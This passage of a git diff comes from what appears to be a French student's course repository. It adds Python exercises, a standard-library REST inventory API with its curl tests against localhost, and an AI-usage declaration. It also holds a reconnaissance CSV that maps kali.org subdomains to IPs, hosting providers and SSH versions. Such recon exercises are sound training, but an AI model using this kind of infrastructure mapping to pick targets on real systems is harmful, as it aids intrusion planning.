b/Semaine_10/Jour_05/Evaluation_BOICHE_Gauvain.pdf differ diff --git a/Semaine_10/Jour_05/Evaluation_BOICHE_Gauvain.pdf_original b/Semaine_10/Jour_05/Evaluation_BOICHE_Gauvain.pdf_original new file mode 100644 index 0000000..bb7a664 Binary files /dev/null and b/Semaine_10/Jour_05/Evaluation_BOICHE_Gauvain.pdf_original differ diff --git a/Semaine_10/Jour_05/Evaluation_BOICHE_Gauvain.zip b/Semaine_10/Jour_05/Evaluation_BOICHE_Gauvain.zip new file mode 100644 index 0000000..f5fa53b Binary files /dev/null and b/Semaine_10/Jour_05/Evaluation_BOICHE_Gauvain.zip differ diff --git a/Semaine_10/Jour_05/crackme_3 b/Semaine_10/Jour_05/crackme_3 new file mode 100644 index 0000000..137fb33 Binary files /dev/null and b/Semaine_10/Jour_05/crackme_3 differ diff --git a/Semaine_10/Jour_05/eval_esdi b/Semaine_10/Jour_05/eval_esdi new file mode 100644 index 0000000..080789d Binary files /dev/null and b/Semaine_10/Jour_05/eval_esdi differ diff --git a/Semaine_10/Jour_05/image-1.png b/Semaine_10/Jour_05/image-1.png new file mode 100644 index 0000000..0f7516b Binary files /dev/null and b/Semaine_10/Jour_05/image-1.png differ diff --git a/Semaine_10/Jour_05/image-2.png b/Semaine_10/Jour_05/image-2.png new file mode 100644 index 0000000..3b0519d Binary files /dev/null and b/Semaine_10/Jour_05/image-2.png differ diff --git a/Semaine_10/Jour_05/image-3.png b/Semaine_10/Jour_05/image-3.png new file mode 100644 index 0000000..410708d Binary files /dev/null and b/Semaine_10/Jour_05/image-3.png differ diff --git a/Semaine_10/Jour_05/image-4.png b/Semaine_10/Jour_05/image-4.png new file mode 100644 index 0000000..ff3d6af Binary files /dev/null and b/Semaine_10/Jour_05/image-4.png differ diff --git a/Semaine_10/Jour_05/image.png b/Semaine_10/Jour_05/image.png new file mode 100644 index 0000000..5df6ebd Binary files /dev/null and b/Semaine_10/Jour_05/image.png differ diff --git a/Semaine_10/Jour_05/kali.org-566f749b-07b1-4c1d-8251-1563486b7a23.csv b/Semaine_10/Jour_05/kali.org-566f749b-07b1-4c1d-8251-1563486b7a23.csv new file mode 100644 index 0000000..3ba6461 --- /dev/null +++ b/Semaine_10/Jour_05/kali.org-566f749b-07b1-4c1d-8251-1563486b7a23.csv @@ -0,0 +1,128 @@ +Host,IP,Type,Reverse DNS,Netblock Owner,HTTP Services,Remote Services +10year.kali.org,104.18.4.159,A,,"CLOUDFLARENET - Cloudflare, Inc. +13335 / unknown",HTTP: cloudflare - Direct IP access not allowed, +aeacus.kali.org,51.222.80.5,A,ns576245.ip-51-222-80.net,"OVH - OVH SAS, FR +16276 / Canada",,SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7 +aphrodite.kali.org,104.18.4.159,A,,"CLOUDFLARENET - Cloudflare, Inc. +13335 / unknown",HTTP: cloudflare - Direct IP access not allowed, +archive.kali.org,148.113.211.220,A,ns5033939.ip-148-113-211.net,"OVH - OVH SAS, FR +16276 / Canada",, +archive-4.kali.org,176.31.228.102,A,,"OVH - OVH SAS, FR +16276 / France","HTTP: nginx +HTTPS: nginx",SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7 +arm.kali.org,35.185.44.232,A,,"GOOGLE-CLOUD-PLATFORM - Google LLC +396982 / United States",HTTPS: - Unauthorized (401), +artemis.kali.org,3.222.23.60,A,,"AMAZON-AES - Amazon.com, Inc. +14618 / United States","HTTP: nginx +HTTPS: nginx", +artifacts.kali.org,104.18.5.159,A,,"CLOUDFLARENET - Cloudflare, Inc. +13335 / unknown",HTTP: cloudflare - Direct IP access not allowed, +atlas.kali.org,54.39.17.132,A,ns555633.ip-54-39-17.net,"OVH - OVH SAS, FR +16276 / Canada",,SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7 +atropos.kali.org,51.79.80.98,A,,"OVH - OVH SAS, FR +16276 / Canada",,SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7 +autopkgtest.kali.org,104.18.4.159,A,,"CLOUDFLARENET - Cloudflare, Inc. +13335 / unknown",HTTP: cloudflare - Direct IP access not allowed, +bittorrent.kali.org,3.222.23.60,A,,"AMAZON-AES - Amazon.com, Inc. +14618 / United States","HTTP: nginx +HTTPS: nginx", +bugs.kali.org,104.18.4.159,A,,"CLOUDFLARENET - Cloudflare, Inc. +13335 / unknown",HTTP: cloudflare - Direct IP access not allowed, +buildd-amd64.kali.org,144.217.75.200,A,,"OVH - OVH SAS, FR +16276 / Canada","HTTP: nginx +HTTPS: nginx",SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7 +buildd-arm.kali.org,104.18.5.159,A,,"CLOUDFLARENET - Cloudflare, Inc. +13335 / unknown",HTTP: cloudflare - Direct IP access not allowed, +buildd-arm64.kali.org,140.211.11.42,A,140-211-11-42-openstack.osuosl.org,"LINK-OREGON - University of Oregon +3701 / United States","HTTP: nginx +HTTPS: nginx",SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7 +buildd-armhf.kali.org,140.211.11.37,A,140-211-11-37-openstack.osuosl.org,"LINK-OREGON - University of Oregon +3701 / United States","HTTP: nginx +HTTPS: nginx",SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7 +buildd-i386.kali.org,144.217.75.200,A,,"OVH - OVH SAS, FR +16276 / Canada","HTTP: nginx +HTTPS: nginx",SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7 +cdimage.kali.org,54.39.128.230,A,ns562229.ip-54-39-128.net,"OVH - OVH SAS, FR +16276 / Canada","HTTP: nginx +HTTPS: nginx",SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7 +clio.kali.org,172.104.29.198,A,172-104-29-198.ip.linodeusercontent.com,"AKAMAI-LINODE-AP - Akamai Connected Cloud, SG +63949 / United States",,SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7 +coeus.kali.org,140.211.169.59,A,,"LINK-OREGON - University of Oregon +3701 / United States","HTTP: nginx +HTTPS: nginx",SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7 +crius.kali.org,140.211.11.37,A,140-211-11-37-openstack.osuosl.org,"LINK-OREGON - University of Oregon +3701 / United States","HTTP: nginx +HTTPS: nginx",SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7 +cronos.kali.org,45.33.71.210,A,li1017-210.members.linode.com,"AKAMAI-LINODE-AP - Akamai Connected Cloud, SG +63949 / United States",,SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7 +demeter.kali.org,15.235.87.209,A,ns5018074.ip-15-235-87.net,"OVH - OVH SAS, FR +16276 / Canada",, +dionysus.kali.org,144.217.75.200,A,,"OVH - OVH SAS, FR +16276 / Canada","HTTP: nginx +HTTPS: nginx",SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7 +discord.kali.org,104.18.5.159,A,,"CLOUDFLARENET - Cloudflare, Inc. +13335 / unknown",HTTP: cloudflare - Direct IP access not allowed, +docs.kali.org,104.18.5.159,A,,"CLOUDFLARENET - Cloudflare, Inc. +13335 / unknown",HTTP: cloudflare - Direct IP access not allowed, +ar.docs.kali.org,104.18.5.159,A,,"CLOUDFLARENET - Cloudflare, Inc. +13335 / unknown",HTTP: cloudflare - Direct IP access not allowed, +br.docs.kali.org,104.18.5.159,A,,"CLOUDFLARENET - Cloudflare, Inc. +13335 / unknown",HTTP: cloudflare - Direct IP access not allowed, +cn.docs.kali.org,104.18.5.159,A,,"CLOUDFLARENET - Cloudflare, Inc. +13335 / unknown",HTTP: cloudflare - Direct IP access not allowed, +de.docs.kali.org,104.18.5.159,A,,"CLOUDFLARENET - Cloudflare, Inc. +13335 / unknown",HTTP: cloudflare - Direct IP access not allowed, +en.docs.kali.org,104.18.5.159,A,,"CLOUDFLARENET - Cloudflare, Inc. +13335 / unknown",HTTP: cloudflare - Direct IP access not allowed, +es.docs.kali.org,104.18.5.159,A,,"CLOUDFLARENET - Cloudflare, Inc. +13335 / unknown",HTTP: cloudflare - Direct IP access not allowed, +fr.docs.kali.org,104.18.5.159,A,,"CLOUDFLARENET - Cloudflare, Inc. +13335 / unknown",HTTP: cloudflare - Direct IP access not allowed, +he.docs.kali.org,104.18.4.159,A,,"CLOUDFLARENET - Cloudflare, Inc. +13335 / unknown",HTTP: cloudflare - Direct IP access not allowed, +id.docs.kali.org,104.18.4.159,A,,"CLOUDFLARENET - Cloudflare, Inc. +13335 / unknown",HTTP: cloudflare - Direct IP access not allowed, +it.docs.kali.org,104.18.5.159,A,,"CLOUDFLARENET - Cloudflare, Inc. +13335 / unknown",HTTP: cloudflare - Direct IP access not allowed, +ja.docs.kali.org,104.18.4.159,A,,"CLOUDFLARENET - Cloudflare, Inc. +13335 / unknown",HTTP: cloudflare - Direct IP access not allowed, +nl.docs.kali.org,104.18.5.159,A,,"CLOUDFLARENET - Cloudflare, Inc. +13335 / unknown",HTTP: cloudflare - Direct IP access not allowed, +ru.docs.kali.org,104.18.4.159,A,,"CLOUDFLARENET - Cloudflare, Inc. +13335 / unknown",HTTP: cloudflare - Direct IP access not allowed, +www.docs.kali.org,104.18.4.159,A,,"CLOUDFLARENET - Cloudflare, Inc. +13335 / unknown",HTTP: cloudflare - Direct IP access not allowed, +downloads.kali.org,104.18.5.159,A,,"CLOUDFLARENET - Cloudflare, Inc. +13335 / unknown",HTTP: cloudflare - Direct IP access not allowed, +dzaa.kali.org,104.18.4.159,A,,"CLOUDFLARENET - Cloudflare, Inc. +13335 / unknown",HTTP: cloudflare - Direct IP access not allowed, +epimetheus.kali.org,104.18.4.159,A,,"CLOUDFLARENET - Cloudflare, Inc. +13335 / unknown",HTTP: cloudflare - Direct IP access not allowed, +erato.kali.org,104.18.5.159,A,,"CLOUDFLARENET - Cloudflare, Inc. +13335 / unknown",HTTP: cloudflare - Direct IP access not allowed, +forums.kali.org,104.18.4.159,A,,"CLOUDFLARENET - Cloudflare, Inc. +13335 / unknown",HTTP: cloudflare - Direct IP access not allowed, +gaia.kali.org,140.211.11.42,A,140-211-11-42-openstack.osuosl.org,"LINK-OREGON - University of Oregon +3701 / United States","HTTP: nginx +HTTPS: nginx",SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7 +git.kali.org,104.18.4.159,A,,"CLOUDFLARENET - Cloudflare, Inc. +13335 / unknown",HTTP: cloudflare - Direct IP access not allowed, +hecate.kali.org,176.31.228.102,A,,"OVH - OVH SAS, FR +16276 / France","HTTP: nginx +HTTPS: nginx",SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7 +helios.kali.org,51.222.241.236,A,ns5007377.ip-51-222-241.net,"OVH - OVH SAS, FR +16276 / Canada",, +10 alt1.aspmx.l.google.com,108.177.123.26,MX,lcscld-in-f26.1e100.net,"GOOGLE - Google LLC +15169 / United States",, +15 alt2.aspmx.l.google.com,172.253.116.26,MX,dj-in-f26.1e100.net,"GOOGLE - Google LLC +15169 / United States",, +20 alt3.aspmx.l.google.com,192.178.223.26,MX,yulhrs-in-f26.1e100.net,"GOOGLE - Google LLC +15169 / United States",, +25 alt4.aspmx.l.google.com,172.253.157.27,MX,yubrupd-in-f27.1e100.net,"GOOGLE - Google LLC +15169 / United States",, +5 aspmx.l.google.com,192.178.155.27,MX,,"GOOGLE - Google LLC +15169 / United States",, +nash.ns.cloudflare.com,172.64.33.209,NS,nash.ns.cloudflare.com,"CLOUDFLARENET - Cloudflare, Inc. +13335 / unknown",HTTP: cloudflare - Direct IP access not allowed, +nina.ns.cloudflare.com,172.64.32.136,NS,nina.ns.cloudflare.com,"CLOUDFLARENET - Cloudflare, Inc. +13335 / unknown",HTTP: cloudflare - Direct IP access not allowed, diff --git a/Semaine_10/Jour_05/kali.org-566f749b-07b1-4c1d-8251-1563486b7a23.png b/Semaine_10/Jour_05/kali.org-566f749b-07b1-4c1d-8251-1563486b7a23.png new file mode 100644 index 0000000..fe3f22d Binary files /dev/null and b/Semaine_10/Jour_05/kali.org-566f749b-07b1-4c1d-8251-1563486b7a23.png differ diff --git a/Semaine_10/Jour_05/kali_org.mtgl b/Semaine_10/Jour_05/kali_org.mtgl new file mode 100644 index 0000000..ad999da Binary files /dev/null and b/Semaine_10/Jour_05/kali_org.mtgl differ diff --git a/Semaine_10/Jour_05/kali_org.png b/Semaine_10/Jour_05/kali_org.png new file mode 100644 index 0000000..c750452 Binary files /dev/null and b/Semaine_10/Jour_05/kali_org.png differ diff --git a/Semaine_10/Jour_05/vuln_esdi b/Semaine_10/Jour_05/vuln_esdi new file mode 100644 index 0000000..1d18540 Binary files /dev/null and b/Semaine_10/Jour_05/vuln_esdi differ diff --git a/Semaine_11/Jour_01/.python-version b/Semaine_11/Jour_01/.python-version new file mode 100644 index 0000000..e4fba21 --- /dev/null +++ b/Semaine_11/Jour_01/.python-version @@ -0,0 +1 @@ +3.12 diff --git a/Semaine_11/Jour_01/BOICHE_Gauvain_Exo_1_3.zip b/Semaine_11/Jour_01/BOICHE_Gauvain_Exo_1_3.zip new file mode 100644 index 0000000..21585a2 Binary files /dev/null and b/Semaine_11/Jour_01/BOICHE_Gauvain_Exo_1_3.zip differ diff --git a/Semaine_11/Jour_01/Exercice 1.1 - Rapport inventaire.md b/Semaine_11/Jour_01/Exercice 1.1 - Rapport inventaire.md new file mode 100644 index 0000000..6a58ca5 --- /dev/null +++ b/Semaine_11/Jour_01/Exercice 1.1 - Rapport inventaire.md @@ -0,0 +1,72 @@ +# Module 1 — Exercices : Python & Web (HTTP / REST, sans framework) + +Fil rouge : la **gestion d'un parc d'équipements réseau** (serveurs, switchs, routeurs). Tous les exercices restent en **Python pur** (bibliothèque standard uniquement, aucun framework web). + +--- + +## Consignes communes à tous les exercices + +**Usage de l'IA — transparence obligatoire.** +L'utilisation d'une IA générative (assistant de code, chatbot, complétion automatique) **n'est pas interdite**, mais elle doit être **assumée et documentée**. Chaque rendu **doit obligatoirement contenir un fichier `USAGE-IA.md`**. Un rendu sans ce fichier est considéré comme **incomplet**. + +Le fichier `USAGE-IA.md` doit répondre à ces points : +1. **Outils utilisés** : quel(s) outil(s) d'IA, et pour quelles parties de l'exercice. +2. **Aide obtenue** : ce que l'IA a proposé (idées, extraits de code, explications). Donnez au moins un exemple de prompt. +3. **Ce que vous avez accepté** : ce que vous avez repris, et surtout *pourquoi vous l'avez compris et validé*. +4. **Ce que vous avez refusé ou corrigé** : ce que vous avez écarté ou modifié, et *pourquoi* (erreur, hors-sujet, non compris, mauvaise pratique…). +5. **Ce que vous avez appris** et ce que vous feriez autrement. + +> Si vous n'avez utilisé aucune IA, écrivez-le explicitement dans `USAGE-IA.md` et décrivez brièvement votre démarche. + +**Règle d'or : vous devez pouvoir expliquer et justifier chaque ligne de votre rendu**, que vous l'ayez écrite vous-même ou non. Le gabarit de `USAGE-IA.md` est fourni en annexe (fin de fichier). + +--- + +## Exercice 1.1 — Rapport d'inventaire en Python + +**Compétences visées :** variables, listes, dictionnaires, boucles, conditions, f-strings. + +**Contexte :** on vous fournit l'inventaire du parc sous forme d'une liste de dictionnaires. + +```python +equipements = [ + {"hostname": "srv-web-01", "ip": "192.168.1.10", "type": "serveur", "actif": True, "latence_ms": 12.4}, + {"hostname": "sw-access-02", "ip": "192.168.1.2", "type": "switch", "actif": True, "latence_ms": 1.2}, + {"hostname": "rtr-core-01", "ip": "10.0.0.1", "type": "routeur", "actif": False, "latence_ms": 3.5}, + {"hostname": "sw-access-03", "ip": "192.168.1.3", "type": "switch", "actif": True, "latence_ms": 1.8}, +] +``` + +**Consignes :** +1. Calculez le **nombre total** d'équipements et le **nombre d'équipements actifs**. +2. Construisez la **liste des hostnames** dont le `type` est `"switch"`. +3. Calculez la **latence moyenne des équipements actifs**. +4. Affichez un rapport lisible (une ligne par indicateur), latence arrondie à **2 décimales**. + +**Livrables :** `inventaire.py`, `USAGE-IA.md`. + +**Critères d'évaluation :** exactitude des calculs, usage correct des boucles/compréhensions et des conditions, lisibilité de la sortie. + +--- + + +## Annexe — Gabarit `USAGE-IA.md` + +```markdown +# Usage de l'IA — Exercice X.Y + +## 1. Outils utilisés +(Ex : assistant de code / chatbot ; pour quelles parties. Ou : « aucune IA utilisée ».) + +## 2. Aide obtenue +(Ce que l'IA a proposé. Exemple de prompt utilisé : « … ») + +## 3. Ce que j'ai accepté +(Ce que j'ai repris et pourquoi je l'ai compris et validé.) + +## 4. Ce que j'ai refusé ou corrigé +(Ce que j'ai écarté / modifié, et pourquoi.) + +## 5. Ce que j'ai appris +(Ce que je retiens, ce que je ferais autrement.) +``` diff --git a/Semaine_11/Jour_01/Exercice 1.2 - Modéliser un équi.md b/Semaine_11/Jour_01/Exercice 1.2 - Modéliser un équi.md new file mode 100644 index 0000000..b465811 --- /dev/null +++ b/Semaine_11/Jour_01/Exercice 1.2 - Modéliser un équi.md @@ -0,0 +1,17 @@ +## Exercice 1.2 — Modéliser un équipement (POO) & calculer un sous-réseau + +**Compétences visées :** fonctions, POO (classe, `__init__`, `self`, méthode), fonction `lambda`, tri. + +**Consignes :** +1. Écrivez une classe `Equipement` avec : + - un constructeur `__init__(self, hostname, ip, latence_ms, actif=True)` ; + - une méthode `__str__` renvoyant une description lisible ; + - une méthode `est_operationnel(self, seuil_ms=100)` qui renvoie `True` si l'équipement est **actif ET** que sa latence est **sous le seuil**. +2. Écrivez une fonction `hotes_disponibles(bits_hote)` qui renvoie le nombre d'adresses **hôtes utilisables** d'un sous-réseau (indice : `2 ** bits - 2`). +3. Écrivez une fonction `trier_par_latence(equipements)` qui renvoie la liste triée par latence croissante (utilisez `sorted` + `lambda`). +4. Créez 3 équipements, affichez-les **triés par latence** avec leur état opérationnel, puis affichez le nombre d'hôtes d'un `/24` (soit 8 bits d'hôte). + +**Livrables :** `equipement.py`, `USAGE-IA.md`. + +**Critères d'évaluation :** POO correcte (`self`, méthodes), `lambda` pour le tri, exactitude du calcul réseau. + diff --git a/Semaine_11/Jour_01/Exercice 1.3 - API REST d'invent.md b/Semaine_11/Jour_01/Exercice 1.3 - API REST d'invent.md new file mode 100644 index 0000000..454decf --- /dev/null +++ b/Semaine_11/Jour_01/Exercice 1.3 - API REST d'invent.md @@ -0,0 +1,26 @@ +## Exercice 1.3 — API REST d'inventaire **sans framework** + +**Compétences visées :** comprendre HTTP/REST « de l'intérieur » — méthodes, codes de statut, JSON — en n'utilisant **que la bibliothèque standard**. + +**Contexte :** vous exposez l'inventaire via une petite API REST bâtie avec le module `http.server`. **Flask, Django et toute bibliothèque tierce sont interdits.** + +**Consignes :** +1. Utilisez `http.server.BaseHTTPRequestHandler` et `HTTPServer`. +2. Stockez les équipements dans une **liste Python en mémoire** (`id`, `hostname`, `ip`). +3. `GET /equipements` → renvoie la liste en JSON, code **200**. +4. `GET /equipements/` → renvoie l'équipement (**200**), une erreur JSON **404** s'il n'existe pas, **400** si l'`id` n'est pas un entier. +5. `POST /equipements` → crée un équipement à partir du JSON du corps ; renvoie **201** et l'objet créé ; renvoie **400** si `hostname` manque ou si le JSON est invalide. +6. Toutes les réponses portent l'en-tête `Content-Type: application/json`. +7. Testez votre API (serveur lancé sur le port 8000) : + +```bash +curl http://127.0.0.1:8000/equipements +curl http://127.0.0.1:8000/equipements/1 +curl -X POST http://127.0.0.1:8000/equipements \ + -H "Content-Type: application/json" \ + -d '{"hostname":"srv-dns-01","ip":"192.168.1.20"}' +``` + +**Livrables :** `api_inventaire.py`, `TESTS.md` (vos commandes `curl` et les réponses obtenues), `USAGE-IA.md`. + +**Critères d'évaluation :** bonnes méthodes et bons codes HTTP, JSON valide, gestion des erreurs (400/404), **aucun framework**. diff --git a/Semaine_11/Jour_01/Exercice 2.3 - Inventaire avec l.md b/Semaine_11/Jour_01/Exercice 2.3 - Inventaire avec l.md new file mode 100644 index 0000000..4b03b10 --- /dev/null +++ b/Semaine_11/Jour_01/Exercice 2.3 - Inventaire avec l.md @@ -0,0 +1,15 @@ +## Exercice 2.3 — Inventaire avec l'ORM SQLAlchemy *(Avancé — 45 min)* + +**Compétences visées :** ORM SQLAlchemy 2.0 (`Mapped` / `mapped_column`), modèles liés (`relationship`, `ForeignKey`), `Session`. + +**Consignes :** +1. Définissez deux modèles `Equipement` et `Interface` avec une relation **1-N** (`relationship` + `ForeignKey` + `back_populates`). +2. Créez le moteur SQLite et générez les tables (`create_all`). +3. Dans une `Session`, créez **un équipement avec ses deux interfaces en une seule fois**, puis `commit`. +4. Récupérez les équipements avec `select()` et affichez, pour chacun, la liste de ses interfaces. + +**Livrables :** `inventaire_orm.py`, `USAGE-IA.md`. + +**Critères d'évaluation :** modèles + relation corrects, gestion de la session/commit, requête `select()`, affichage des objets liés. + +--- diff --git a/Semaine_11/Jour_01/Http.server.pdf b/Semaine_11/Jour_01/Http.server.pdf new file mode 100644 index 0000000..7cce626 Binary files /dev/null and b/Semaine_11/Jour_01/Http.server.pdf differ diff --git a/Semaine_11/Jour_01/README.md b/Semaine_11/Jour_01/README.md new file mode 100644 index 0000000..e69de29 diff --git a/Semaine_11/Jour_01/USAGE-IA.md b/Semaine_11/Jour_01/USAGE-IA.md new file mode 100644 index 0000000..0f38bd5 --- /dev/null +++ b/Semaine_11/Jour_01/USAGE-IA.md @@ -0,0 +1,41 @@ +# Exercice 1.3 "API REST" - Gauvain BOICHÉ + +### Modèle(s) utilisés + +- [MiniMax M3](https://www.minimax.io/blog/minimax-m3) (version 2026-06-12) avec étendue "Entire Web" activée. + +### Usage de l'IA + +Je déclare avoir usé de l'IA pour : + +- Redéfinir les demandes (pourquoi l'absence de PUT ou DELETE dans une API REST ?) et les contours + => "Sans toutes les méthodes, l'API sera dite REST-incomplète" +- Etablir des co-dépendances non mentionnées (comment lire deux listes sans threading ?) + => `import threading` + => `import urlparse` +- Quels garde-fous mettre sans connaissance de base ? + => Valider le format de l'adresse IP + => Rejet des doublons + => Gérer un ID non fourni lors d'un POST +- Quelle gestion des états ? + => 405 "Method not allowed" + => 415 "Unsupported media type" + => 500 "Internal Server Error" +- Sécurité ? + => Appels anonymes, pas de limites ? + => `_next_id = 1` + => `MAX_BODY = 1_048_576 # 1 Mo` + +Alors, ce n'est pas pour autant que j'ai TOUT implémenté. J'ai corrigé un ou deux trucs, mais faire des méthodes PUT et DELETE aurait prit trop de temps. Rédiger ex nihilo des fonctions sur une stack que je ne connais pas, c'est déjà bien assez comme ça. + +### Non-usage de l'IA + +Je déclare n'avoir pas usé de l'IA au profit des documentations officielles pour établir les fonctions. + +Les documentations utilisées : + +- [Exemple de fonctions déjà rédigées](https://gist.github.com/scimad/ae0196afc0bade2ae39d604225084507) +- [Doc http.server pour Python 3.12](https://docs.python.org/3.12/library/http.server.html) +- [Doc urllib.parse pour Python 3.12](https://docs.python.org/3.12/library/urllib.parse.html) +- [Threading](https://docs.python.org/3/library/threading.html#threading.Lock) +- [Architecture REST](https://ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm) \ No newline at end of file diff --git a/Semaine_11/Jour_01/api_inventaire.md b/Semaine_11/Jour_01/api_inventaire.md new file mode 100644 index 0000000..8975f6c --- /dev/null +++ b/Semaine_11/Jour_01/api_inventaire.md @@ -0,0 +1,130 @@ +# Exercice 1.3 "API REST" - Gauvain BOICHÉ + +## Commandes lancées + +### 1. Liste vide +curl -i http://127.0.0.1:8000/equipments +curl -i http://127.0.0.1:8000/equipments/1 + +### 2. Création +curl -i -X POST http://127.0.0.1:8000/equipments \ + -H "Content-Type: application/json" \ + -d '{"hostname":"srv-dns-01","ip":"192.168.1.20"}' + +### 3. Lecture +curl -i http://127.0.0.1:8000/equipments/1 + +### 4. Erreurs +curl -i http://127.0.0.1:8000/equipments/abc +curl -i http://127.0.0.1:8000/equipments/99 +curl -i -X POST http://127.0.0.1:8000/equipments \ + -H "Content-Type: application/json" -d '{"ip":"1.1.1.1"}' + +## Résultats + +curl -i -X POST http://127.0.0.1:8000/equipments -H "Content-Type: application/json" -d '{"hostname":"srv-dns-01","ip":"192.168.1.20"}' + +### 1. Liste vide + +#### Côté client +``` +> curl -i http://127.0.0.1:8000/equipments +HTTP/1.0 200 OK +Server: BaseHTTP/0.6 Python/3.12.12 +Date: Mon, 06 Jul 2026 14:21:49 GMT +Content-Type: application/json +Content-Length: 2 + +[] + +> curl -i http://127.0.0.1:8000/equipments/1 +HTTP/1.0 404 Not Found +Server: BaseHTTP/0.6 Python/3.12.12 +Date: Mon, 06 Jul 2026 14:26:13 GMT +Content-Type: application/json +Content-Length: 41 + +{"erreur": "\u00e9quipement introuvable"} + +``` +#### Côté serveur +``` +127.0.0.1 - - [06/Jul/2026 16:21:49] "GET /equipments HTTP/1.1" 200 - +127.0.0.1 - - [06/Jul/2026 16:24:39] "GET /equipments/1 HTTP/1.1" 404 - +``` + +### 2. Création + +#### Côté client +``` +> curl -i -X POST http://127.0.0.1:8000/equipments -H "Content-Type: application/json" -d '{"hostname":"srv-dns-01","ip":"192.168.1.20"}' +HTTP/1.0 201 Created +Server: BaseHTTP/0.6 Python/3.12.12 +Date: Mon, 06 Jul 2026 14:26:31 GMT +Content-Type: application/json +Content-Length: 57 + +{"id": 1, "hostname": "srv-dns-01", "ip": "192.168.1.20"} + +``` +#### Côté serveur +``` +127.0.0.1 - - [06/Jul/2026 16:26:31] "POST /equipments HTTP/1.1" 201 - +``` + +### 3. Lecture + +#### Côté client +``` +> curl -i http://127.0.0.1:8000/equipments/1 +HTTP/1.0 200 OK +Server: BaseHTTP/0.6 Python/3.12.12 +Date: Mon, 06 Jul 2026 14:26:45 GMT +Content-Type: application/json +Content-Length: 57 + +{"id": 1, "hostname": "srv-dns-01", "ip": "192.168.1.20"} + +``` +#### Côté serveur +``` +127.0.0.1 - - [06/Jul/2026 16:26:45] "GET /equipments/1 HTTP/1.1" 200 - +``` + +### 4. Erreurs + +#### Côté client +``` +> curl -i http://127.0.0.1:8000/equipments/abc +HTTP/1.0 400 Bad Request +Server: BaseHTTP/0.6 Python/3.12.12 +Date: Mon, 06 Jul 2026 14:27:32 GMT +Content-Type: application/json +Content-Length: 27 + +{"erreur": "id non entier"} + +> curl -i http://127.0.0.1:8000/equipments/99 +HTTP/1.0 404 Not Found +Server: BaseHTTP/0.6 Python/3.12.12 +Date: Mon, 06 Jul 2026 14:30:26 GMT +Content-Type: application/json +Content-Length: 41 + +{"erreur": "\u00e9quipement introuvable"} + +> curl -i -X POST http://127.0.0.1:8000/equipments -H "Content-Type: application/json" -d '{"ip":"1.1.1.1"}' +HTTP/1.0 400 Bad Request +Server: BaseHTTP/0.6 Python/3.12.12 +Date: Mon, 06 Jul 2026 14:30:48 GMT +Content-Type: application/json +Content-Length: 35 + +{"erreur": "hostname et ip requis"} +``` +#### Côté serveur +``` +127.0.0.1 - - [06/Jul/2026 16:27:32] "GET /equipments/abc HTTP/1.1" 400 - +127.0.0.1 - - [06/Jul/2026 16:30:26] "GET /equipments/99 HTTP/1.1" 404 - +127.0.0.1 - - [06/Jul/2026 16:30:48] "POST /equipments HTTP/1.1" 400 - +``` diff --git a/Semaine_11/Jour_01/api_inventaire.py b/Semaine_11/Jour_01/api_inventaire.py new file mode 100644 index 0000000..d1a7f71 --- /dev/null +++ b/Semaine_11/Jour_01/api_inventaire.py @@ -0,0 +1,75 @@ +import json +import threading +from http.server import BaseHTTPRequestHandler, HTTPServer +from urllib.parse import urlparse + +_lock = threading.Lock() +_equipments = [] +_next_id = 1 +MAX_BODY = 1_048_576 # 1 Mo + + +class InventoryHandler(BaseHTTPRequestHandler): + def _send_json(self, code, payload): + body = json.dumps(payload).encode("utf-8") + self.send_response(code) + self.send_header("Content-Type", "application/json") + self.send_header("Content-Length", str(len(body))) + self.end_headers() + self.wfile.write(body) + + def _read_json(self): + length = int(self.headers.get("Content-Length", 0)) + + if not length or length > MAX_BODY: + raise ValueError("Corps absent ou trop volumineux.") + + if "application/json" not in self.headers.get("Content-Type", ""): + raise ValueError("Content-Type invalide.") + + return json.loads(self.rfile.read(length)) + + def do_GET(self): + path = urlparse(self.path).path + parts = path.strip("/").split("/") + + if parts[0] != "equipments": + return self._send_json(404, {"erreur": "route inconnue"}) + + with _lock: + if len(parts) == 1: + return self._send_json(200, _equipments) + if len(parts) == 2: + try: + eid = int(parts[1]) + except ValueError: + return self._send_json(400, {"erreur": "id non entier"}) + for e in _equipments: + if e["id"] == eid: + return self._send_json(200, e) + return self._send_json(404, {"erreur": "équipement introuvable"}) + + return self._send_json(405, {"erreur": "méthode non autorisée"}) + + def do_POST(self): + global _next_id + + if urlparse(self.path).path.rstrip("/") != "/equipments": + return self._send_json(404, {"erreur": "route inconnue"}) + + try: + data = self._read_json() + except (ValueError, json.JSONDecodeError) as exc: + return self._send_json(400, {"erreur": f"JSON invalide : {exc}"}) + if not isinstance(data, dict) or "hostname" not in data or "ip" not in data: + return self._send_json(400, {"erreur": "hostname et ip requis"}) + + with _lock: + equipement = {"id": _next_id, "hostname": data["hostname"], "ip": data["ip"]} + _equipments.append(equipement) + _next_id += 1 + + self._send_json(201, equipement) + +if __name__ == "__main__": + HTTPServer(("127.0.0.1", 8000), InventoryHandler).serve_forever() diff --git a/Semaine_11/Jour_01/equipement.py b/Semaine_11/Jour_01/equipement.py new file mode 100644 index 0000000..e8795f1 --- /dev/null +++ b/Semaine_11/Jour_01/equipement.py @@ -0,0 +1,57 @@ +""" +**Consignes :** +1. Écrivez une classe `Equipement` avec : + - un constructeur `__init__(self, hostname, ip, latence_ms, actif=True)` ; + - une méthode `__str__` renvoyant une description lisible ; + - une méthode `est_operationnel(self, seuil_ms=100)` qui renvoie `True` si l'équipement est **actif ET** que sa latence est **sous le seuil**. + +2. Écrivez une 